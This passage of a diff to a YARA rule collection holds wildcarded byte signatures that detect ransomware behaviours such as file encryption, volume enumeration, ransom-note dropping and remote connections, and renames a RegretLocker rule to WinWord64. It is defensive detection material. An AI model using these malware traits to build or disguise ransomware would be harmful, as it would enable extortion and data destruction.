+            ?? ?? ?? ?? 39 4D ?? 0F 8C ?? ?? ?? ?? 7F ?? 85 F6 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ??
+            ?? 89 45 ?? 8D 8D ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? C6 45 ?? ?? E9 ??
+            ?? ?? ?? 85 C0 0F 8C ?? ?? ?? ?? 7F ?? 81 FE ?? ?? ?? ?? 0F 86 ?? ?? ?? ?? F2 0F 10
+            05 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 45 ?? 8D 8D ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? F2 0F
+            11 45 ?? 50 E8 ?? ?? ?? ?? C6 45 ?? ?? 50 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 57 C6 45
+            ?? ?? 8B 4D ?? E8 ?? ?? ?? ?? 8B 45 ?? 33 D2 C7 45 ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? 52
+            50 FF 75 ?? FF 75 ?? E8 ?? ?? ?? ?? 8B C8 89 45 ?? 0B CA 89 55 ?? 75 ?? 8D 85 ?? ??
+            ?? ?? 89 45 ?? 8D 8D ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? C6 45 ?? ?? 50
+            FF 75 ?? 56 6A ?? 6A ?? 57 C6 45 ?? ?? 8B 4D
+        }
+		$set_default_icon_p1 = {
+            55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC ?? C7
+            45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 33 C0 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ??
+            ?? C7 45 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 66
+            89 45 ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 4D ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ??
+            ?? B0 ?? C7 45 ?? ?? ?? ?? ?? 33 C9 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45
+            ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 66 98
+            66 31 44 4D ?? 41 83 F9 ?? 73 ?? 8A 45 ?? EB ?? 33 C0 56 66 89 45 ?? C6 45 ?? ?? 8D
+            45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 4D ?? 50 8D 45 ?? 50 E8 ?? ?? ?? ?? 8B F0 C7 45
+            ?? ?? ?? ?? ?? 6A ?? 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 56 50 C7 45 ?? ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 33 C0 C7 46 ?? ?? ?? ?? ?? 83 C4 ?? C7 46 ?? ?? ?? ?? ?? 66 89 06 C7 45 ??
+            ?? ?? ?? ?? C6 45 ?? ?? 8B 4D ?? 83 F9 ?? 72 ?? 8B 55 ?? 8D 0C 4D ?? ?? ?? ?? 8B C2
+        }
+		$set_default_icon_p2 = {
+            81 F9 ?? ?? ?? ?? 72 ?? 8B 50 ?? 83 C1 ?? 2B C2 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ??
+            51 52 E8 ?? ?? ?? ?? 83 C4 ?? 8D 4D ?? C7 45 ?? ?? ?? ?? ?? 51 8D 4D ?? C7 45 ?? ??
+            ?? ?? ?? 51 6A ?? 68 ?? ?? ?? ?? 33 C0 83 7D ?? ?? 6A ?? 66 89 45 ?? 8D 45 ?? 0F 43
+            45 ?? 6A ?? 6A ?? 50 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 83 7D ?? ?? 8D 4D
+            ?? 8B 45 ?? 0F 43 4D ?? 03 C0 50 51 6A ?? 6A ?? 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 FF
+            75 ?? FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? FF D6 6A
+            ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF D6 B8 ?? ?? ?? ?? 89 45 ?? 83 E0 ?? 89 45
+            ?? C6 45 ?? ?? 8B 4D ?? 5E 83 F9 ?? 72 ?? 8B 55 ?? 8D 0C 4D ?? ?? ?? ?? 8B C2 81 F9
+            ?? ?? ?? ?? 72 ?? 8B 50 ?? 83 C1 ?? 2B C2 83 C0 ?? 83 F8 ?? 77 ?? 51 52 E8 ?? ?? ??
+            ?? 83 C4 ?? 33 C0 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 66 89 45 ?? C7 45 ?? ??
+            ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 8B E5 5D C3
+        }
+		$find_system_volumes = {
+            55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 81 EC ?? ??
+            ?? ?? 53 56 57 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 75 ?? C7 06 ?? ?? ?? ??
+            C7 46 ?? ?? ?? ?? ?? C7 46 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68
+            ?? ?? ?? ?? 50 C7 45 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 8B F8 66 90
+            8D 45 ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ??
+            ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? 6A ?? 8D 45 ?? 50 6A ?? 6A ?? 6A ?? 6A ?? 8D 85 ??
+            ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? F7 45 ?? ?? ?? ?? ?? 0F 85 ??
+            ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 33 D2 C7 45 ?? ?? ?? ?? ?? 66 89 55 ??
+            83 C4 ?? 8D 95 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 0C 00 C7 45 ?? ?? ?? ?? ?? 8D 85
+            ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 03 C1 C7 45 ?? ?? ?? ?? ?? 3B D0 74 ?? D1 F9 8B C2
+            51 50 8D 4D ?? E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 4D ?? 8B 46 ?? 3B 46 ?? 74 ??
+            6A ?? 51 50 C7 00 ?? ?? ?? ?? C7 40 ?? ?? ?? ?? ?? C7 40 ?? ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 33 C0 C7 45 ?? ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ?? ?? ?? 83 46 ?? ?? 66 89 45 ??
+            EB ?? 51 50 8B CE E8 ?? ?? ?? ?? C6 45 ?? ?? 8B 4D ?? 83 F9 ?? 72 ?? 8B 55 ?? 8D 0C
+            4D ?? ?? ?? ?? 8B C2 81 F9 ?? ?? ?? ?? 72 ?? 8B 50 ?? 83 C1 ?? 2B C2 83 C0 ?? 83 F8
+            ?? 77 ?? 51 52 E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ??
+            ?? 66 89 45 ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 57 FF D3 85 C0 0F 85 ?? ?? ?? ??
+            57 FF 15 ?? ?? ?? ?? 8B 4D ?? 8B C6 5F 5E 5B 64 89 0D ?? ?? ?? ?? 8B E5 5D C3
+        }
+		$drop_ransom_note_v2_p1 = {
+            55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC ?? 53
+            56 57 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 7D ?? 68 ?? ?? ?? ?? E8 ?? ?? ??
+            ?? B9 ?? ?? ?? ?? 8B D8 2B CF 83 C4 ?? 3B CB 0F 82 ?? ?? ?? ?? 83 7D ?? ?? 8D 45 ??
+            8D 0C 3B C7 45 ?? ?? ?? ?? ?? 0F 43 45 ?? BE ?? ?? ?? ?? 89 45 ?? 8D 45 ?? C7 45 ??
+            ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 89 4D ?? 89 45 ?? 3B CE 76 ?? 8B F1 83 CE ?? 81 FE
+            ?? ?? ?? ?? 76 ?? BE ?? ?? ?? ?? EB ?? B8 ?? ?? ?? ?? 3B F0 0F 42 F0 8D 46 ?? 50 8D
+            4D ?? E8 ?? ?? ?? ?? 89 45 ?? 8D 0C 3B 89 45 ?? 89 75 ?? 8D 34 3F 56 FF 75 ?? 89 4D
+            ?? 50 E8 ?? ?? ?? ?? 8B 7D ?? 8D 04 1B 50 68 ?? ?? ?? ?? 8D 0C 3E 51 E8 ?? ?? ?? ??
+            8B 45 ?? 33 C9 83 C4 ?? C7 45 ?? ?? ?? ?? ?? 66 89 0C 47 C6 45 ?? ?? B8 ?? ?? ?? ??
+            83 3D ?? ?? ?? ?? ?? 8D 4D ?? FF 35 ?? ?? ?? ?? 0F 43 05 ?? ?? ?? ?? 50 E8 ?? ?? ??
+            ?? 8B F0 C7 45 ?? ?? ?? ?? ?? 6A ?? 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 56 50 C7 45 ?? ??
+            ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 C7 46 ?? ?? ?? ?? ?? C7 46 ?? ?? ?? ?? ?? 83 C4 ?? 66
+        }
+		$drop_ransom_note_v2_p2 = {
+            89 06 BE ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 89 75 ?? 83 E6 ?? 89 75 ?? C6 45 ?? ?? 8B
+            4D ?? 83 F9 ?? 72 ?? 8B 55 ?? 8D 0C 4D ?? ?? ?? ?? 8B C2 81 F9 ?? ?? ?? ?? 72 ?? 8B
+            50 ?? 83 C1 ?? 2B C2 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 51 52 E8 ?? ?? ?? ?? 83 C4
+            ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 33 C0 C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 6A ?? 66 89 45
+            ?? 8D 45 ?? 0F 43 45 ?? 6A ?? 68 ?? ?? ?? ?? 50 C7 45 ?? ?? ?? ?? ?? FF 15 ?? ?? ??
+            ?? 8B F8 83 FF ?? 74 ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 FF 15 ?? ?? ??
+            ?? 57 FF 15 ?? ?? ?? ?? 83 E6 ?? 89 75 ?? C6 45 ?? ?? 8B 4D ?? 5F 5E 5B 83 F9 ?? 72
+            ?? 8B 55 ?? 8D 0C 4D ?? ?? ?? ?? 8B C2 81 F9 ?? ?? ?? ?? 72 ?? 8B 50 ?? 83 C1 ?? 2B
+            C2 83 C0 ?? 83 F8 ?? 77 ?? 51 52 E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 C7 45 ?? ?? ?? ?? ??
+            C7 45 ?? ?? ?? ?? ?? 66 89 45 ?? C7 45 ?? ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8B 4D
+            ?? 64 89 0D ?? ?? ?? ?? 8B E5 5D C3
+        }
+		$encrypt_files_v5 = {
+            50 FF 15 ?? ?? ?? ?? 8B D8 C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? F6 C3 ?? 74
+            ?? C6 45 ?? ?? 80 7D ?? ?? 0F 84 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? E9 ??
+            ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ?? ?? ?? C6 45
+            ?? ?? 8D 8D ?? ?? ?? ?? 51 8B C8 E8 ?? ?? ?? ?? C6 45 ?? ?? 50 8D 4D ?? E8 ?? ?? ??
+            ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? C6 45 ?? ?? 8D 8D ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 8D
+            ?? ?? ?? ?? 51 8B C8 E8 ?? ?? ?? ?? C6 45 ?? ?? 50 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ??
+            ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 8D
+            45 ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 6A ?? 6A ?? 8D 8D ?? ?? ?? ??
+            E8 ?? ?? ?? ?? 8B F8 83 FF ?? 75 ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? E9
+            ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 43 8D ?? ?? ?? ?? 8B 85 ?? ??
+            ?? ?? 8D 0C 41 89 4D ?? 8D 85 ?? ?? ?? ?? 0F 43 85 ?? ?? ?? ?? 89 45 ?? 89 45 ?? 8D
+            04 78 89 45 ?? 51 50 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ??
+            ?? ?? 8D 45
+        }
+		$find_system_volumes_v2_p1 = {
+            C7 45 ?? ?? ?? ?? ?? 89 7D ?? FF 15 ?? ?? ?? ?? 8B D8 8D 45 ?? 50 68 ?? ?? ?? ?? 8D
+            85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 6A
+            ?? 6A ?? 8D 45 ?? 50 6A ?? 6A ?? 6A ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ??
+            85 C0 0F 84 ?? ?? ?? ?? F7 45 ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50
+            E8 ?? ?? ?? ?? 83 C4 ?? 8D 4D ?? 51 8D 8D ?? ?? ?? ?? 8D 04 41 50 8B C1 8D 4D ?? 50
+            E8 ?? ?? ?? ?? 8B F0 C6 45 ?? ?? 8B 4D ?? 3B 4D ?? 74 ?? 6A ?? 56 51 C7 01 ?? ?? ??
+            ?? C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? C7 46 ?? ?? ??
+            ?? ?? C7 46 ?? ?? ?? ?? ?? C6 06 ?? 83 45 ?? ?? EB ?? 56 51 8D 4D ?? E8 ?? ?? ?? ??
+            C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 53 FF 15 ??
+            ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 8B 75 ?? 33 C9 89 4D ?? B8 ??
+            ?? ?? ?? 8B 4D ?? 2B CE F7 E9 C1 FA ?? 8B C2 C1 E8 ?? 03 C2 0F 84 ?? ?? ?? ?? 33 DB
+            8D 4D ?? 8D 04 33 89 4D ?? C6 45 ?? ?? 8D 4D ?? 51 50 8D 45 ?? 50 E8 ?? ?? ?? ?? 83
+            C4 ?? 8D 4D ?? 83 CF ?? 89 7D ?? C7 45 ?? ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? C6 45 ??
+            ?? 83 E7 ?? 89 7D ?? C6 45 ?? ?? 8D 45 ?? 8B 35 ?? ?? ?? ?? 3B 35 ?? ?? ?? ?? 74 ??
+            6A ?? 50 56 89 75 ?? C7 06 ?? ?? ?? ?? C7 46 ?? ?? ?? ?? ?? C7 46 ?? ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 33 C0 C7 45 ?? ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ?? ?? ?? 66 89 45 ?? C6
+        }
+		$find_system_volumes_v2_p2 = {
+            45 ?? ?? 8B 45 ?? 89 46 ?? C6 45 ?? ?? 83 05 ?? ?? ?? ?? ?? EB ?? 50 56 B9 ?? ?? ??
+            ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8B 4D ?? 83 F9 ?? 72 ?? 8B 55 ?? 8D 0C 4D ?? ?? ?? ??
+            8B C2 81 F9 ?? ?? ?? ?? 72 ?? 8B 50 ?? 83 C1 ?? 2B C2 83 C0 ?? 83 F8 ?? 0F 87 ?? ??
+            ?? ?? 51 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 33 C0 8B 75 ?? 83 C3 ?? FF 45 ?? 2B CE
+            66 89 45 ?? B8 ?? ?? ?? ?? F7 E9 C7 45 ?? ?? ?? ?? ?? C1 FA ?? 8B C2 C7 45 ?? ?? ??
+            ?? ?? C1 E8 ?? 03 C2 39 45 ?? 0F 82 ?? ?? ?? ?? 83 E7 ?? 89 7D ?? C7 45 ?? ?? ?? ??
+            ?? 8D 4D ?? E8 ?? ?? ?? ?? 5F 5B EB ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? 68 ??
+            ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ?? ?? ?? 8D 4D ?? 6A ?? C7 45 ?? ??
+            ?? ?? ?? E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 45 ?? 50 B9 ?? ?? ?? ?? E8 ?? ?? ??
+            ?? C7 45 ?? ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? F3
+            0F 7E 05 ?? ?? ?? ?? 8B F0 2B 75 ?? 66 0F D6 45 ?? 90 8B 55 ?? 8B 4D ?? E8 ?? ?? ??
+            ?? 83 3D ?? ?? ?? ?? ?? F2 0F 10 0D ?? ?? ?? ?? F2 0F 59 C1 F2 0F 59 C1 F2 0F 59 C1
+            F2 0F 11 45 ?? 74 ?? E8 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 3B C8 74 ?? 6A ?? 51 FF 35 ??
+            ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 0F 57 C0 66 0F 13 05 ?? ?? ?? ?? FF 35
+            ?? ?? ?? ?? FF 15 ?? ?? ?? ?? F2 0F 10 45 ?? 83 EC ?? F2 0F 11 44 24 ?? 66 0F 6E C6
+            F3 0F E6 C0 C1 EE
         }
 
 	condition:
-		uint16(0)==0x5A4D and ($find_files) and ( all of ($encrypt_files_p*)) and ($remote_connection)
+		uint16(0)==0x5A4D and ((($find_files) and ($encrypt_files_v1) and ($cmd_prompt) and ($exclude_from_encryption_v1)) or (($find_files) and ($cmd_prompt) and ($ldap_connect) and ($encrypt_files_v2) and ($exclude_from_encryption_v1)) or (($find_files) and ($cmd_prompt) and ($ldap_connect) and ($encrypt_files_v3) and ($exclude_from_encryption_v1)) or (($find_files) and ($encrypt_files_v4) and ($drop_ransom_note_v1) and ( all of ($exclude_from_encryption_v2_p*))) or (($find_files) and ($exclude_from_encryption_v1) and ( any of ($encrypt_files_v5)) and ( all of ($find_system_volumes_v2_p*))) or (( all of ($encrypt_files_v5_p*)) and ( all of ($set_default_icon_p*)) and ($find_system_volumes) and ( all of ($drop_ransom_note_v2_p*)) and ($find_files)) or (( all of ($encrypt_files_v6_p*)) and ( all of ($set_default_icon_p*)) and ( all of ($drop_ransom_note_v2_p*)) and ($find_files)))
 }
-rule REVERSINGLABS_Win32_Ransomware_Regretlocker : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Winword64 : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects RegretLocker ransomware."
+		description = "Yara rule that detects WinWord64 ransomware."
 		author = "ReversingLabs"
-		id = "c4e515cc-b0c2-57b2-a230-619ec01ac8d4"
-		date = "2021-04-02"
-		modified = "2021-04-02"
+		id = "a5f7967d-58f4-5fdd-b67f-5f5dbfec0f4b"
+		date = "2021-02-11"
+		modified = "2021-02-11"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.RegretLocker.yara#L1-L206"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "3927dfecacd74f60a169f82b68df5747daa90eaba77f24c5e730ce4c48d426a3"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.WinWord64.yara#L1-L215"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "73d8c4f1b3bed365320b26332f1f1b49404d8e6536f3e25042f5f64e5bc09bd4"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -28049,193 +29948,201 @@ rule REVERSINGLABS_Win32_Ransomware_Regretlocker : TC_DETECTION MALICIOUS MALWAR
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "RegretLocker"
+		tc_detection_name = "WinWord64"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
 		$remote_connection_p1 = {
-            55 8B EC 8B 41 ?? 8B 55 ?? 3B C2 72 ?? 2B C2 56 8B 75 ?? 3B C6 0F 42 F0 83 79 ?? ??
-            72 ?? 8B 09 56 03 CA 51 FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B C6 5E 5D C2 ?? ?? E8 ??
-            ?? ?? ?? CC B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 81 EC ?? ?? ?? ?? 83 65 ?? ?? 8D 45 ?? 53
-            56 57 50 E8 ?? ?? ?? ?? 83 65 ?? ?? 50 E8 ?? ?? ?? ?? 83 4D ?? ?? 8A D8 59 59 8D 4D
-            ?? E8 ?? ?? ?? ?? 84 DB 0F 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ??
-            C7 45 ?? ?? ?? ?? ?? 8B CC 6A ?? 83 61 ?? ?? C7 41 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 88
-            19 E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50
-            E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 E8 ?? ?? ?? ?? 59 59 8B 8D ?? ?? ??
-            ?? 8D 85 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 6A ?? 5B 3B CB C6 45 ?? ?? 0F 43 C2 80 78 ??
-            ?? 75 ?? 3B CB 8D 85 ?? ?? ?? ?? 0F 43 C2 80 78 ?? ?? 75 ?? 3B CB 8D 85 ?? ?? ?? ??
-            0F 43 C2 80 78 ?? ?? 75 ?? 3B CB 8D 85 ?? ?? ?? ?? 0F 43 C2 80 78 ?? ?? 75 ?? 3B CB
-            8D 85 ?? ?? ?? ?? 0F 43 C2 80 78 ?? ?? 75 ?? 83 BD ?? ?? ?? ?? ?? 0F 84
+            55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ??
+            33 C5 89 45 ?? 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 89 8D ?? ?? ?? ?? A1 ?? ?? ??
+            ?? 33 DB 83 3D ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 0F 43 0D ?? ?? ?? ??
+            03 C1 89 9D ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 0F 43 0D ?? ?? ?? ?? 51
+            50 51 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 53 89 5D ?? 8D 85 ?? ?? ?? ?? 83 BD ?? ??
+            ?? ?? ?? 53 0F 43 85 ?? ?? ?? ?? 6A ?? 50 FF 15 ?? ?? ?? ?? 8B D8 89 9D ?? ?? ?? ??
+            85 DB 0F 84 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? A1 ?? ?? ?? ?? 0F 43 0D
+            ?? ?? ?? ?? 03 C1 83 3D ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 0F 43 0D ?? ?? ?? ?? 51 50 51
+            8D 4D ?? E8 ?? ?? ?? ?? 83 7D ?? ?? 8D 45 ?? 6A ?? 0F 43 45 ?? 68 ?? ?? ?? ?? 50 53
+            FF 15 ?? ?? ?? ?? 8B 55 ?? 8B D8 89 9D ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 4D ?? 8D 14 55
+            ?? ?? ?? ?? 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ??
+            76 ?? FF 15 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 C7 45 ?? ?? ?? ?? ?? C7
+            45 ?? ?? ?? ?? ?? 66 89 45 ?? 85 DB 0F 84 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? B9 ?? ??
+            ?? ?? A1 ?? ?? ?? ?? 0F 43 0D ?? ?? ?? ?? 03 C1 83 3D ?? ?? ?? ?? ?? B9
         }
 		$remote_connection_p2 = {
-            8D 45 ?? 50 E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B C8 C7 04 24 ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 84 C0 75 ?? 8B BD ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 3B FB 8D B5 ?? ?? ?? ?? 8B 9D
-            ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 0F 43 C3 83 FF ?? 0F 43 F3 0F 43 D3 33 C9 8A 40 ?? 3A
-            46 ?? 0F BE 42 ?? 0F 94 C1 3B C8 75 ?? 83 FF ?? 8D 85 ?? ?? ?? ?? 0F 43 C3 80 78 ??
-            ?? 75 ?? 83 FF ?? 8D 85 ?? ?? ?? ?? 0F 43 C3 80 78 ?? ?? 74 ?? 32 DB EB ?? B3 ?? F6
-            45 ?? ?? 74 ?? 8D 4D ?? E8 ?? ?? ?? ?? 84 DB 74 ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ??
-            ?? 6A ?? FF 15 ?? ?? ?? ?? E9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 5F 6A ?? 33 DB 89 BD
-            ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 88 9D ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 83 EC ?? C6 45 ?? ?? 8B CC 89 65 ?? 53 89 59 ?? 89 79 ?? 68 ?? ?? ?? ??
-            88 19 E8 ?? ?? ?? ?? 83 EC ?? C6 45 ?? ?? 8B CC 8D 85 ?? ?? ?? ?? 50 89 59 ?? 89 59
-            ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ??
-            8B B5 ?? ?? ?? ?? C6 45 ?? ?? 83 FE ?? 77 ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 84 C0 74 ?? 6A ?? 5E 83 EC ?? 8B CC 89 65 ?? 53 89 59 ?? 89 79 ?? 68 ?? ??
-            ?? ?? 88 19 E8 ?? ?? ?? ?? 83 EC ?? C6 45 ?? ?? 8B CC 8D 85 ?? ?? ?? ?? 50 89 59 ??
-            89 59 ?? E8 ?? ?? ?? ?? 8D 45 ?? C6 45 ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 50
+            0F 43 0D ?? ?? ?? ?? 51 50 51 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D BD ??
+            ?? ?? ?? 83 BD ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? A1 ?? ?? ?? ?? 0F 43 BD ?? ?? ?? ?? 83
+            3D ?? ?? ?? ?? ?? 0F 43 0D ?? ?? ?? ?? 03 C1 83 3D ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 0F
+            43 0D ?? ?? ?? ?? 51 50 51 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 7D ?? ?? 8D 85 ?? ??
